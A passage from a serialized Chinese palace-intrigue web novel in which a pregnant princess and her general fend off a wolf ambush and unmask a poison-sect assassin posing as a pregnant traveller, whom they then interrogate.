“长公主殿下何必过谦?”狼首面具男语气轻佻,“我家首领说了,这些‘薄礼’,务必请殿下笑纳。否则,我等回去,不好交差啊。” 他话音刚落,身旁一名骑士便从腰间取出一枚尖锐的骨哨,放在唇边,似乎随时准备吹响。 黎音袅清楚,一旦哨声响起,那些饿狼,怕是会不顾一切地冲破这些看似坚固的铁笼。而这薄薄的冰面,根本不足以阻挡它们。 她垂眸,掩去眼底的寒芒,再开口时,声音里带上了一丝不易察觉的冷意:“苏木让你们来,就是为了送这些‘玩物’给我?” 狼首面具男:“自然。我家首领一片赤诚。” 黎音袅忽然轻轻笑了一声:“赤诚?是怕我这一路太过顺遂,还是怕我安然回到京城?” 第164章 继续赶路 狼首面具男的笑声戛然而止,面具后的双眼危险地眯起,寒风似乎都因他而凝滞了几分。“长公主殿下多虑了。我家首领,自然是盼着殿下一路顺风,早日还朝。”他嘴上说着恭维话,语气却愈发森冷,“只不过,这路途遥远,总有些不开眼的宵小,会扰了殿下的清净。我家首领,不过是想提前为殿下清扫障碍罢了。” “哦?替本宫清扫障碍?”黎音袅尾音微微上扬,“那本宫倒要看看,阁下这‘清扫’的本事,比之苏木首领的‘赤诚’,如何?” 她话音刚落,身后一直沉默的江令舟向前半步,声音平稳却带着不容置喙的力道:“公主千金之躯,不容有失。众将士,护驾!” 他语速不快,但每个字都清晰地传入众人耳中。随着他一声令下,黎音袅身后的亲卫们迅速动作起来,原本看似松散的队伍,转瞬间便结成一个紧密的半月阵型,将黎音袅与春禾护在核心。盾牌高举,长枪前指,寒光闪烁,一股肃杀之气弥漫开来,与河对岸的凶戾遥遥相抗。 程武立于阵前,横刀立马,虎目圆睁:“尔等鼠辈,也敢惊扰长公主凤驾!识相的速速退去,否则,休怪我等刀剑无情!” 狼首面具男看着河对岸骤然变化的阵势,面具下的表情无人知晓,但那双狼一般的眼睛里,却闪过一丝狠厉。“江将军果然名不虚传,治军有方。”他阴恻恻地开口,“只是不知,江将军这百战精锐,对上我这些饿了几日的‘小家伙’,又能有几分胜算?” 他再次抬手,那名持着骨哨的骑士立刻将骨哨凑到唇边,只待一声令下。 气氛紧张到了极点,风雪似乎都停滞了。河这岸是严阵以待的精兵,河对岸是即将失控的狼群与虎视眈眈的狼奴。 黎音袅心中冷笑,苏木这算盘打得倒是精妙。若她退缩,便是示弱;若她强硬,这群饿狼一旦失控,即便她的人能抵挡,也必有伤亡,到时消息传回京城,她的处境只会更加艰难。 她早料到苏木不会让她轻易返京,只是未曾想到,他竟会用如此阴狠歹毒的手段。这些草原狼,一旦发起狂来,便是悍不畏死的野兽。 “苏木让你来,当真只是为了送这些‘玩物’?”黎音袅再次开口,声音平静得如同这冰封的河面,却又带着一种穿透冰层的寒意,“还是说,他真正想要的,是本宫的命?” 她这句话,问得直接而尖锐。 狼首面具男喉间发出一阵低沉的咯咯声,像是某种野兽的威胁:“长公主殿下说笑了。我家首领怎会对殿下不利?只不过,殿下若是不肯‘笑纳’这份薄礼,那我等回去,确实无法向首领交代。到那时,万一这些小家伙失了控制,冲撞了殿下,那可就不是我家首领的本意了。” 他顿了顿,语气中充满了威胁:“殿下,您可想好了?是收下这份礼,还是……让我们替您‘热闹热闹’?” 那持着骨哨的骑士,手指微微用力,似乎下一刻就要吹响。 黎音袅的指尖在袖中轻轻蜷缩,那冰冷的触感让她更加清醒。她想起了出城前,在驿馆附近,一个以采药为生的老妇人偷偷塞给她的那个小小的油纸包。老妇人说,这是山里人对付野兽的无息散,无色无味,随风一撒,再凶猛的野兽闻了,也会筋骨酥软,任人宰割。当时她还半信半疑,只当是多一手准备,未曾想,今日竟真的派上了用场。 苏木,你千算万算,也算不到本宫会有此奇遇吧。 她缓缓抬起眼睫,那双清冷的凤眸中,没有丝毫的畏惧,反而掠过一抹极淡的讥诮。她的视线,轻飘飘地扫过狼首面具男,最终,落在了春禾的身上。 那一眼,春禾便懂了。 “阁下说笑了。”黎音袅开口,声音里带着一丝若有若无的叹息,“苏木首领的‘厚礼’,本宫若是不收,岂非显得太过不近人情?” 狼首面具男一怔,似乎没想到她会突然松口:“哦?公主殿下这是……愿意笑纳了?” 他心中有些疑虑,这长公主的态度转变太快,不似她平日的作风。但箭在弦上,他也不愿多生枝节。只要这些狼能给对方造成混乱,他的任务便算完成了一半。 “自然。”黎音袅唇边勾起一抹浅淡的弧度,“只是,这般‘活泼’的礼物,本宫怕是照料不周。不如……” 就在她说话的同时,春禾动了。 她一直紧攥着袖中的短匕,此刻却从另一边衣袖中取出一个小巧的纸包。动作快如闪电,几乎在黎音袅“不如”二字出口的瞬间,她已扬手将纸包中的粉末向着河对岸猛地一撒! 呼—— 一阵微风恰巧吹过,将那淡黄色的粉末尽数吹向了那些焦躁不安的狼群。 “你——”狼首面具男大惊,刚要怒喝。 变故突生! 那些原本还在笼中疯狂咆哮、目露凶光的草原狼,在吸入那粉末之后,先是发出一阵阵短促而怪异的呜咽,随即,它们眼中的绿光开始涣散,庞大的身躯晃了晃,像是喝醉了酒一般。 嗷……呜…… 凄厉的狼嚎变成了无力的哀鸣。 一只,两只……不过眨眼的功夫,那些饿得皮包骨头、凶性大发的草原狼,竟像是被抽去了全身的力气,一个接一个地瘫软下去,倒在囚笼之中,再无声息。方才还令人心惊胆战的狼嚎,此刻已然消失无踪,只余下一片死寂。 河两岸,所有人都被这突如其来的变故惊呆了。 春禾自己也有些不敢置信地看着自己的手,随即脸上露出了惊喜。 程武和一众亲卫先是愕然,随即爆发出压抑的欢呼。 “这……这是怎么回事?!”狼首面具男终于反应过来,声音因震惊而变了调,他指着那些倒下的狼,又指着黎音袅,“你……你做了什么?!” 他身后的骑士们也是一片哗然,面面相觑,眼中的凶悍被惊疑所取代。他们引以为傲的狼群,竟然就这么无声无息地倒下了? “做什么?”黎音袅轻轻一笑,那笑容在风雪中,竟比冰雪还要冷冽几分,“阁下不是说,这些是送给本宫解闷的玩物么?本宫只是觉得它们太过吵闹,让它们安静一些罢了。” 她上前一步,斗篷在风中微微扬起,自有一股迫人的气势:“苏木首领的这份‘薄礼’,本宫已经‘笑纳’了。现在,你们可以回去向他复命了。” “妖术!这定是妖术!”一名狼奴骑士忍不住惊呼出声。 狼首面具男的面具剧烈地抖动了一下,他死死盯着黎音袅,又看了看那些一动不动的狼。他带来的最大依仗,就这么废了! “长公主殿下,好手段!”他从牙缝里挤出这句话,语气中充满了不甘与一丝难以掩饰的恐惧。他原以为这次任务十拿九稳,没想到对方竟有如此诡异的招数。 “彼此彼此。”黎音袅淡淡回应,“苏木首领的手段,本宫也算是领教了。” 狼首面具男看着黎音袅身后那严整的军阵,再看看自己这边已经失了锐气的下属,心中已萌生退意。今日之事,处处透着诡异,再纠缠下去,讨不到任何好处。 “我们走!”他咬了咬牙,终于不甘地挥手下令。 那些狼奴如蒙大赦,纷纷调转马头,簇拥着头领,狼狈地沿着来路向远处逃窜而去,连那些装着死狼的囚车也顾不上了。 不过片刻,河对岸便只剩下几辆孤零零的囚车和一地的狼藉。 风雪依旧,只是那股令人窒息的压迫感,已然烟消云散。 黎音袅看着他们远去的背影,眸色沉静。 程武上前一步,抱拳道:“殿下神机妙算,末将佩服!” 黎音袅摆了摆手,转向春禾,声音温和了些:“做得好。” 春禾脸上犹带着一丝后怕,却也难掩兴奋:“奴婢……奴婢也没想到那药如此管用!” 黎音袅没有再多言,只是吩咐道:“继续赶路。” 第165章 怀孕的妇人 北疆的风雪未曾停歇,裹挟着寒意,扑打在驿站简陋的木窗上,发出簌簌的声响。 驿站内,炭火烧得并不旺,偶有火星噼啪炸开。黎音袅拢了拢身上的狐裘,指尖依旧微凉。 春禾端着一只粗陶碗进来,碗沿凝着一层薄霜,她将碗递到黎音袅面前:“夫人,这是驿站仅剩的粟米粥,您先用些暖暖身子。” 黎音袅接过,粥还带着些许温度。她刚要开口,门外忽地传来一阵急促纷乱的马蹄声,随即是砰的一声巨响,驿站那扇本就摇摇欲坠的柴门被人从外面撞开。 一个身影踉跄着扑了进来,带着满身的风雪。 来人是个女子,身上裹着件洗得发白的灰鼠皮裘,腹部高高隆起,显然怀着身孕。她一只手死死护着怀中的一个褪了色的布包,另一只手扶着门框,不住地喘息。 “行行好……行行好……”女子声音嘶哑,带着哭腔,“我……我要去京城寻我的夫君,能否……能否容我在此避避风雪,讨口热水?” 她抬起头,脸色苍白得没有一丝血色,嘴唇也冻得发紫。当她的视线扫过黎音袅身上那件质地上乘的狐裘时,原本黯淡的眼底,却倏地闪过一抹异样的光亮,一闪即逝。 春禾正要上前,帐外帘子一掀,江令舟已然迈步而入。他本在驿站外巡视警戒,听到动静便立刻赶了过来。 他的视线第一时间便落在那孕妇腰间。那里,一枚小巧的玉佩随着她的喘息微微晃动——玉佩的形制古朴,上面雕刻着繁复的缠枝莲纹样。 江令舟眉峰微不可察地一蹙,脚步未停,却是不动声色地走到了黎音袅身侧,将她挡在了自己身后。他的指尖,已轻轻按上了腰间的剑柄。 “这位夫人,”江令舟开口,声音平稳,听不出情绪,“独自一人赶路?” 那女子似是被他身上散发出的凛冽气息所慑,瑟缩了一下,下意识地摸了摸高耸的腹部,脸上挤出一个勉强的笑容:“是……是啊,军爷。夫君在京中当差,我……我这有了身孕,便想着去京城给他一个惊喜。” 她的手在怀中那个布包上轻轻摩挲着,动作带着几分刻意的轻柔和珍视。然而,就在她抬手调整布包位置的瞬间,宽大的袖口向下滑落少许,露出了她手腕内侧的一截肌肤。 那里,一个青色的刺青图案,清晰可见——弯月状,边缘带着细密的齿痕。 江令舟的瞳孔骤然一缩。这刺青的样式,与先前在地牢中那些悍不畏死的刺客身上的标记,如出一辙! “惊喜?”江令舟重复了一遍她的话,语气中带上了一丝探究,“路途遥远,风雪又大,夫人有孕在身,独自上路,你夫君泉下有知,怕是也难安心。” 女子脸上的笑容僵了一瞬,随即强辩道:“军爷说笑了,我夫君……我夫君他好好的,怎会泉下有知。”她眼神有些闪烁,不敢直视江令舟。 “哦?”江令舟向前踏了一小步,那女子立刻紧张地向后缩了缩,后背抵住了冰冷的门板。 “夫人怀中这布包,如此珍视,想来是极为重要的物件?”江令舟的视线从她的脸,缓缓移到她紧紧护着的布包上。 女子喉咙动了动,声音有些发紧:“是……是些女儿家的物事,不值什么钱,只是……只是夫君送的,所以看重些。” “女儿家的物事?”黎音袅在江令舟身后,终于轻轻开口,她的声音在寒冷的空气中,带着一种特有的清冽,“可否打开让本宫瞧瞧?” “本宫?”女子听到这个自称,猛地抬起头,看向黎音袅,眼中惊疑不定。她似乎这才意识到,眼前这位衣着华贵的女子,身份非同一般。 春禾上前一步,冷声道:“我家夫人乃是……” “不必多言。”黎音袅打断了春禾,她的视线始终落在女子的脸上,不放过她任何细微的表情,“本宫只是有些好奇,是何等‘惊喜’,值得夫人冒此奇险。” 女子面色更加苍白,她紧了紧怀中的布包,摇头道:“这……这不方便,都是些贴身之物……” “是不方便,还是不敢?”江令舟冷哼一声,“你腰间的缠枝莲玉佩,倒是少见。南疆毒蛊门的东西,如今在中原可不多见了。” 缠枝莲!南疆毒蛊门! 女子闻言,脸色唰地一下变得惨白如纸,扶着门框的手也开始不受控制地颤抖起来。她眼中的慌乱再也掩饰不住。 “军爷……军爷说什么,奴家……奴家听不懂。”她嘴唇哆嗦着,声音细若蚊蚋。 “听不懂?”江令舟的语气陡然转厉,“那你袖口内侧的弯月刺青,又作何解释?据我所知,这可是某些见不得光的老鼠,才会有的标记!” 女子如遭雷击,下意识地便想用另一只手去遮掩手腕,但已然迟了。 “我……我不知道你们在说什么!”她突然拔高了声音,带着几分歇斯底里,“我只是一个想去京城寻夫的可怜妇人!你们为何要如此逼问于我?!” 黎音袅静静地看着她,片刻后,缓缓道:“春禾,给她一碗热粥,再备些干粮。” 女子一愣,江令舟也有些意外地看向黎音袅。 “殿下……”江令舟欲言又止。 黎音袅抬手,示意他不必再说。她看着那女子,声音平静无波:“外面风雪大,你一个孕妇,不宜赶路。在此歇息一晚,明日再走吧。” 女子脸上的惊慌和戒备并未因此消减,反而更添了几分狐疑。她看看黎音袅,又看看面色冷峻的江令舟,一时间不知对方葫芦里卖的什么药。 “怎么?还不进来?”黎音袅语气淡淡,“莫非这驿站的门槛,比风雪还要难进?” 女子咬了咬下唇,最终还是挪动了僵硬的脚步,缓缓走进了驿站。她每走一步,都小心翼翼,眼神警惕地打量着四周。 春禾依言,去后面厨下准备热粥和干粮。 江令舟则始终站在黎音袅身前,周身戒备,视线一刻也未曾离开那名孕妇。 驿站内,一时间陷入了诡异的寂静。 炭火燃烧的噼啪声,风雪呼啸声,以及那女子略显粗重的呼吸声,交织在一起。 黎音袅端起那碗已经有些凉了的粟米粥,用勺子轻轻搅动着,并未入口。 她的心思,显然不在这碗粥上。 那女子局促地站在屋内一角,离炭火盆远远的,怀中的布包依旧抱得死紧。 第166章 可疑之处 “夫人,”黎音袅终于再次开口,打破了沉默,“你方才说,你夫君在京中当差?不知在哪个衙门,姓甚名谁?本宫在京中也有些故旧,说不定,还能帮你打探一二。” 女子闻言,头垂得更低,声音也闷闷的:“不敢劳烦贵人。他……他只是个小人物,不值一提。” “哦?是么。”黎音袅不置可否。 片刻,她放下粥碗,看向江令舟:“江将军,你先带这位夫人去客房安置。长途跋涉,想必也累了。” 江令舟意会,随即转向那女子:“夫人,请随我来。” 女子迟疑了一下,最终还是跟着江令舟向驿站后院的客房走去。 待两人身影消失在门后,黎音袅才缓缓起身,走到窗边,看着外面依旧狂暴的风雪,眸色深沉。 春禾端着热粥和一些面饼走了回来,见状轻声问道:“夫人,此人……” “南疆毒蛊门,弯月刺青。”黎音袅声音不高,却字字清晰,“看来,苏木的‘薄礼’之后,又有人迫不及待地送上了新的‘问候’。” 春禾面色一变:“那殿下还让她留下?” 黎音袅转过身,唇边勾起一抹若有似无的弧度:“送上门来的线索,岂有不要之理?” 她顿了顿,继续道:“让程武他们今夜多加警醒。看看这位‘寻夫’的孕妇,究竟想给本宫带来什么‘惊喜’。” 春禾领命,快步退下。 驿站内的油灯忽明忽暗,映着窗外未歇的风雪。 那女子缩在角落,正狼吞虎咽地啃着一块冷硬的青稞饼,仿佛饿了数日。饼屑掉落,她也毫不在意,只顾将食物塞入口中,腮帮鼓动。 黎音袅静静看着,腹中胎儿似有所感,突然重重一动。她微蹙眉头,不动声色地按了按小腹。*小家伙,你也觉得不对劲么?* 春禾端着一碗冒着热气的粟米粥上前,见状便要开口:“夫人,这饼如此生冷,您身怀六甲……” “无妨。”黎音袅抬手,止住了春禾的话。她看着那女子,声音依旧平和:“慢慢吃,别噎着。厨房还有热粥,暖暖身子也好。”她示意春禾将粥递过去,“夫人有孕在身,怎可只食生冷之物?仔细伤了腹中胎儿。” 女子啃食的动作一顿,抬起头,眼中闪过一丝慌乱,旋即低下,接过粥碗。 就在她指尖触碰碗沿的刹那,黎音袅的视线落在她的手上——那指腹和第二指节处,有着一层薄薄却清晰的茧子。那是常年握持某种特定器具才会磨砺出的痕迹,绝非寻常妇人所有。*果然,不是寻常的“寻夫”人。这双手,更像是握刀的手。* 女子接过热粥,道了声“多谢贵人”,指尖却在碗沿不着痕迹地迅速一划。春禾未曾留意,但站在黎音袅身侧的江令舟却是瞳孔骤缩。那细微的动作,那碗中粥面泛起的几乎不可察的涟漪——是南疆毒蛊门惯用的“探心散”下蛊手法!此散无色无味,中者初期只觉心神不宁,数日后便会心力交瘁而亡。 江令舟气息一沉,正要出声示警,黎音袅却已抢先一步,微笑着开口,语气甚至带了几分关切:“说来也巧,我这儿正好备了些安胎的汤药,是我惯用的方子,很是稳妥。夫人若不嫌弃,不妨也用一些?对你腹中的孩子,只有好处。”她作势便要吩咐春禾去取。 黎音袅心中冷笑。 女子端着粥碗的手明显一抖,热粥险些泼洒出来。她脸上的血色瞬间褪去几分,眼神中是掩饰不住的惊慌:“不……不必了!多谢贵人美意,贱妾……贱妾身子向来皮实,当不得如此金贵汤药。”她勉强挤出一个笑容,推拒着。 “哦?是么。”黎音袅不置可否,“方才夫人还说自己是可怜妇人,此刻又道身子皮实,看来夫人的身子,倒是比本宫想的要强健许多。” 女子被她这话说得一噎,更是局促不安,急忙想要将手中的粥碗放下,起身时动作过急,一直紧紧抱在怀中的布包带子一松,“啪嗒”一声掉落在地。 布包散开,露出了里面的物事——除了几件破旧衣物,赫然还有半块风干的狼肉,色泽暗沉,散发着淡淡的腥膻。 春禾“呀”了一声,面露不解。 江令舟眉头紧锁,这东西,绝非孕妇该碰之物。 驿站内静得可怕,只余下炭火偶尔爆开的噼啪声。 黎音袅的视线从那块狼肉上扫过,再回到女子惨白的脸上,声音听不出喜怒:“夫人六月身孕,长途跋涉已是不易,怎会随身携带此等腥膻难化之物充饥?莫非,这狼肉,也是你们家乡安胎的秘方?” 女子面如死灰,嘴唇哆嗦着,半晌才从牙缝里挤出几个字:“是……是……夫君喜食……我……我带给他……”这话说得她自己都毫无底气。 “原来如此。”黎音袅缓缓点头,却不再看她,只转向江令舟,“江将军,看来这位夫人的确是累了,言语都有些颠倒。还是先送夫人回房歇息吧。” 女子如蒙大赦,慌忙捡起地上的布包,连带着那半块狼肉,胡乱塞好,几乎是落荒而逃般跟着江令舟快步向后院客房走去,连句场面话都忘了说。 待她的身影消失,春禾才忧心忡忡地开口:“殿下,此人分明……” “她自然不是来寻夫的。”黎音袅接过春禾递来的帕子,擦了擦指尖,仿佛沾染了什么无形秽物,“探心散,狼肉……南疆毒蛊门的手段,倒是越来越直接了。” 苏木真的是为了谋害我们手段层出不穷呀。 她走到窗边,看着外面依旧肆虐的风雪,眸色比这雪夜更冷。 “殿下,那碗粥……”春禾看着桌上那碗女子碰过的粥,心有余悸。 黎音袅淡淡道:“倒掉。让程武他们打起十二万分精神,今夜,怕是不会平静了。” 她的孩子,她的江山,谁敢觊觎,便要有付出代价的准备。 春禾应声,端起那碗粥快步离去。 第167章 毒囊 戌时三刻,驿站外那几声凄厉的夜枭嘶鸣,穿透风雪,割裂了夜的寂静。 黎音袅立在窗棂之后,指尖无意识地摩挲着微凉的窗格。她看见那自称寻夫的女子,此刻正独自立在驿站简陋的马厩旁。风雪模糊了女子的身影,唯见她仰首向着晦暗无星的夜空,双手正比划着某种古怪至极的手势,口中念念有词,声音被风吹散,听不真切。 “南疆的手段,还真是层出不穷。”她心中冷哼,这副做派,与寻常祈福迥然不同。 正思忖间,腹中原本安然的胎动骤然一变,一股尖锐的刺痛毫无预兆地袭来,力道之猛,让她身形微晃。这痛楚来得蹊跷,不似寻常胎动,更像是一种……警示。 “音袅?”江令舟低沉的声音自身后响起,一只温热的手掌及时扶住了她的肩,随即稳稳贴上她后腰的安胎穴,真气缓缓渡入。 他顺着黎音袅的视线望向窗外,眸色一凛:“她在召唤同伙,或是施展某种邪术。” 此时,春禾脚步匆匆地从内间走出,怀中抱着一床厚实的棉被,许是听到了动静,她压低了声音,语气中带着几分急切与后怕:“殿下,奴婢方才斗胆,又去查看了那女子的包裹。里面除了那块狼肉,奴婢还发现了一个小瓷瓶,装着半瓶粉末。奴婢偷偷闻了一下,那气味……那气味与先前地牢中那些刺客身上搜出的毒囊里的东西,几乎一模一样!” “毒囊?”黎音袅眉心一蹙,“南疆毒蛊门的人,果然阴魂不散。”看来,那碗粥只是第一步,这才是她们的后手。她原本还想看看这女子究竟想耍什么花样,如今看来,对方已然按捺不住。 春禾话音未落,窗外马厩旁的女子身形突然一软,像是被抽去了所有力气,踉跄着向前扑倒在地。积雪被砸出一个浅坑,她随即便发出一声凄厉至极的尖叫,声音穿透风雪,带着刻意的绝望:“啊——我的肚子!我的肚子!痛……好痛啊!救命……” 那叫声在寂静的雪夜里显得格外刺耳,充满了令人不安的恐慌。 “殿下,她……”春禾面露不忍,作势便要上前查看。 黎音袅心中一动,正欲起身细看,江令舟却猛地伸臂拦在她身前,力道沉稳。他的身体如一堵墙,隔开了她与外间的危险。 “别过去!”江令舟的声音没有丝毫温度,视线如出鞘的利刃,死死钉在雪地中那女子蜷缩的背影上,准确地说是她的后腰处。 月色偶从云翳中漏下几缕,映照在那处。女子衣衫单薄,因着剧烈的“挣扎”,后腰处的衣物被积雪濡湿,紧贴皮肉,隐约显露出一个硬物的轮廓。那轮廓,分明是一柄短刃的形状!更让江令舟瞳孔紧缩的是,那短刃的样式与尺寸,与那日苏木用来挟持人质、淬了剧毒的短刃别无二致! “她在等我们靠近。”江令舟一字一顿,缓缓抽出腰间的佩剑长庚,剑身在清冷的月光下折射出森寒的光芒,映亮了他冷峻的侧脸。 女子在雪地中翻滚,哭喊声愈发凄惨:“救救我……我的孩子……求求你们……我真的好痛……” 黎音袅隔着窗,看着她拙劣的表演,唇边泛起一抹冷峭的弧度。“江将军,你觉得,她是真的腹痛难忍,还是……演得太过投入,忘了自己身负‘重任’?”这等粗劣的演技,若非有所图谋,便是将他们当傻子了。 江令舟剑尖斜指地面,纹丝不动:“音袅,此等伎俩,骗不过三岁小儿。她若真有不适,方才施术时便该有所察觉,何至于等到此刻才发作?” “说得也是。”黎音袅缓缓颔首,“南疆毒蛊门的人,何时也学会这种博取同情的戏码了?我还以为她们只会下毒用蛊,没想到还会演戏。” 她的声音不大,却清晰地穿过窗棂,传入雪地中那女子的耳中。 女子的哭声戛然而止,身体也僵硬了一瞬。她似乎没有料到对方会如此冷静,甚至带着几分戏谑地直接点破。 “贵……贵人……你们……你们在说什么……我真的……好痛……”女子勉力抬起头,一张脸惨白得毫无血色,额上布满冷汗,眼神却不似方才那般纯粹的惊慌,反而多了几分被看穿后的怨毒与孤注一掷。 “痛?”黎音袅轻笑一声,“是腹痛,还是行刺失败,计划落空的痛?亦或是,你那‘六月身孕’的肚子,其实只是个伪装的道具,如今不堪重负,快要掉下来了?” 她顿了顿,语气陡然转厉:“你腰后别着的那柄淬毒短刃,倒是与苏木当日用的一模一样。怎么,南疆毒蛊门如今连兵器都开始批量生产了么?还是说,你们觉得本宫与江将军,都瞎了眼,认不出这等凶器?” 女子闻言,身体剧烈一颤,下意识地想要伸手去捂后腰,却又在中途硬生生停住。这个动作,无疑是此地无银三百两。 “我……我不知道你们在说什么……”她还在做最后的挣扎,声音却已带上了显而易见的颤抖,“那是……那是我夫君给我防身用的……对,防身!” “防身?”江令舟冷哼,声音比这风雪更寒,“防身利器,会淬上见血封喉的剧毒?会藏在腰后最隐蔽之处,等着刺向所谓的‘救命恩人’?” 春禾在一旁听得心惊肉跳,看向雪地中那女子的眼神充满了戒备与厌恶:“殿下,她果然是装的!这种人,死不足惜!亏奴婢方才还险些信了她的鬼话!” “春禾,”黎音袅淡淡开口,“稍安勿躁。狗急了还会跳墙,何况是南疆的毒蝎。”她看着那女子,眼神平静无波,“你以为,凭你一人,一把淬毒的短刃,就能奈何得了我们?还是说,你那所谓的‘召唤同伙’,真能招来什么帮手?” 女子面色灰败,知道自己彻底暴露,索性也不再伪装。她撑着手臂,缓缓从雪地上坐起身,原本“痛苦不堪”的表情变得狰狞起来:“黎音袅!你害我南疆损失惨重,今日不是你死,就是我亡!” 她眼中迸发出疯狂的恨意:“就算杀不了你,能让你腹中的孽种陪葬,也值了!我南疆的勇士,很快就会将你们碎尸万段!” “孽种?”黎音袅眸色骤寒,“看来,你们的目标,从一开始就是本宫腹中的孩子。”她轻轻抚上小腹,那里的刺痛感已经消退,取而代之的是一种坚定的力量。“只可惜,你们的如意算盘,怕是要落空了。” “江将军,”她声音平静,“看来,今夜是注定无法安眠了。既然人家已经把戏台都搭好了,我们若不奉陪到底,岂非显得太过失礼?” 江令舟横剑在前,剑气凜然:“有我在下在。今夜,谁也别想伤音袅分毫。” 风雪依旧,马厩旁的对峙,一触即发。女子手中的淬毒短刃不知何时已经滑入掌心,在月色下闪着幽蓝的微光。 第168章 圣女 风雪骤然变得激切,仿佛在为这场未尽的杀局奏响终曲。 黎音袅立在廊下未动,雪光映着她眼底的冷冽,让她整个人都透着一股玉石般的寒意。那假孕女子被两名亲卫死死按在雪地里,动弹不得,后腰处那柄泛着幽蓝毒光的淬毒短刃已被缴下,扔在了一旁。 “说,谁指使你来的?”黎音袅的声音不高,在这风雪夜里却清晰地传进每个人耳中,让那女子浑身一颤。 女子猛地抬起头,脸上狰狞的恨意取代了所有伪装。她朝着黎音袅的方向啐出一口带血的唾沫,落在干净的雪地上,格外刺目:“呸!南疆勇士,岂会屈从于你们这些中原懦夫!” 黎音袅侧身避开,眉头都未皱一下。她对身旁的春禾示意:“搜她的衣物。” “是,殿下。”春禾压下心中的惊惧与厌恶,快步上前。她没有丝毫犹豫,伸手便扯开了那女子紧裹的衣襟。 随着撕裂的布帛声,一枚用黑线缝制得极为隐蔽的锦囊从女子怀中滚落出来,掉在雪地里。那是一个小巧的毒囊,上面用银线绣着一弯诡异的弯月图腾。 图腾出现的瞬间,空气仿佛凝滞了。 春禾失声叫道:“殿下,这……这东西,与当初地牢里那刺客身上搜出的遗物,如出一辙!” 黎音袅没有说话。她当然认得。一模一样的图腾,一模一样的行刺手法。一次是巧合,两次,便是预谋。看来,这张针对她的网,比她想象中铺得更广,也更深。 “又是这个记号。”江令舟的声音从旁传来,他踏前一步,军靴重重踩在那枚毒囊之上。 咔嚓一声脆响,毒囊被瞬间踏碎。一缕极淡的紫色烟雾从中溢出,随即被风雪卷走,消散无踪。 “南疆的把戏,毫无新意。”江令舟收回脚,对着亲卫下令,“拖下去,严加拷问。” “是,将军!” 亲卫立刻上前,一左一右架起那女子,就要往后院的柴房拖去。 “等等。”黎音袅忽然开口。 亲卫的动作停住。 黎音袅缓缓走下台阶,停在那女子面前,居高临下地看着她。“你刚才说,要让我腹中的‘孽种’陪葬?” 女子眼中满是疯狂:“是又如何?你们害我南疆家破人亡,我便要让你的孩子……啊!” 她话未说完,江令舟已然出剑,剑鞘重重地敲在她的下颌上,只听一声闷响,女子满口牙齿立时混着血水喷了出来。 “殿下面前,注意你的言辞。”江令舟收剑回鞘,动作干净利落。 女子疼得浑身抽搐,却还是用怨毒的目光死死盯着黎音袅,喉咙里发出嗬嗬的声响。 “看来,你的主子并未告诉你,本宫腹中的,是东陵的皇长孙。”黎音袅的语气平静得没有一丝波澜,“刺杀皇嗣,等同叛国。你以为,你一人之死,就能了结此事?你的家族,你的同门,你口中的‘南疆勇士’,都将为此付出代价。” 她顿了顿,声音愈发清冷:“本宫不好杀生,却也不介意为了我的孩子,破一次戒。告诉本宫,指使你的人是谁,本宫可以让你死得痛快些。” “你……休想……”女子含混不清地吐出几个字,眼中却第一次流露出一丝动摇。 “看来你还是不明白自己的处境。”黎音袅轻叹一声,似乎有些惋惜,“春禾,你方才说,地牢里那个刺客,是怎么处置的?” 春禾福了福身,恭敬回答:“回殿下,那刺客嘴硬得很,江将军用了刑,最后他熬不住,招供前咬碎了藏在牙里的毒囊,当场毙命。” 黎音袅点了点头,转向那女子:“你听见了?你们的手段,我们一清二楚。你以为藏在牙后的毒药,真能让你轻易解脱么?在本宫这里,死,从来不是最可怕的结局。”她转向江令舟,“江将军,撬开她的嘴,看看里面藏了什么好东西。” “不必了!”女子闻言,终于崩溃,发出一声凄厉的尖叫,“我说!我说!” 她剧烈地喘息着,看向黎音袅的眼神充满了恐惧:“是……是圣女……是圣女派我来的!” “圣女?”黎音袅捕捉到了这个陌生的称谓。 江令舟也皱起了眉:“南疆毒蛊门,何时有了个圣女?是那个苏木?” “圣女……是我们的神……”女子喃喃自语,神情在痛苦与狂热之间切换,“只有圣女,才能带领我们重振南疆!黎音袅,你夺走了南疆的一切,圣女绝不会放过你!她会让你……让你求生不得,求死不能!” 风雪中,她凄厉的诅咒断断续续,在空旷的院子里回荡。 “看来,这又是一个被洗脑的死士。”黎音袅收回视线,再无与她多言的兴趣,“拖下去,问出关于‘圣女’的一切。她知道多少,就给本宫挖出多少。” “公主遵命。”江令舟对亲卫挥了挥手。 亲卫不再迟疑,用破布堵住女子的嘴,将她如拖死狗一般拖向柴房。风雪很快便淹没了她的身影,只余下雪地上那一道屈辱的拖痕与点点血迹。 庭院复归寂静,只剩下风雪簌簌之声。 春禾走上前,为黎音袅披上一件更厚的狐裘斗篷,担忧地开口:“殿下,您没事吧?方才真是吓死奴婢了。” “无妨。”黎音袅拢了拢斗篷,轻轻抚上小腹。那里的悸动已经平复,仿佛什么都未曾发生。 江令舟走到她身侧,声音沉稳:“殿下,此地不宜久留,请回屋歇息。审问之事,交给为夫即可。” 黎音袅却摇了摇头,她的视线越过江令舟的肩膀,望向柴房的方向,那里已经亮起了微弱的灯火。 “不。”她开口,声音平静而坚决,“去柴房。本宫要亲自听听,这位‘圣女’的信徒,骨头究竟有多硬。” 第169章万全之策 客房内炭火烧得正旺,驱散了满身的寒意。江令舟扶着黎音袅在铺着厚毯的软榻坐下,自己则在她身侧半跪下来,修长的手指探向她腕脉。 “腹中还痛?”他声音紧绷,压抑着一丝不易察知的颤抖。 黎音袅摇了摇头,脸上那层失却血色的苍白却未能完全褪去。方才那阵突如其来的绞痛,虽短暂,却像一根冰冷的针,扎进了她心底最柔软的地方,此刻想来,仍心有余悸。 春禾快步捧来一碗滚热的红糖姜茶,声音里还带着哭腔:“殿下,快喝些暖暖身子。您可千万不能有事。” 茶汤辛辣,顺着喉咙滑入胃中,激起一阵暖意。但这暖意,却驱不散黎音袅眼底深处的寒潭。她放下茶盏,发出叮的一声轻响。 “这一路,怕是难了。” 江令舟握住她微凉的手,掌心干燥而温热,传递着不容置喙的力量:“有我在,定护你们母子周全。” 他的指腹依旧搭在她的腕脉上,眉头却越皱越紧。起初只是寻常的滑脉,可细细探究之下,却察觉到一股极细微的、断续的悸动,与胎息混杂在一处,若隐若现,诡异至极。 他指尖一顿,不动声色地收回了手。 “脉象如何?”黎音袅何其敏锐,早已捕捉到他脸上瞬间的凝滞。 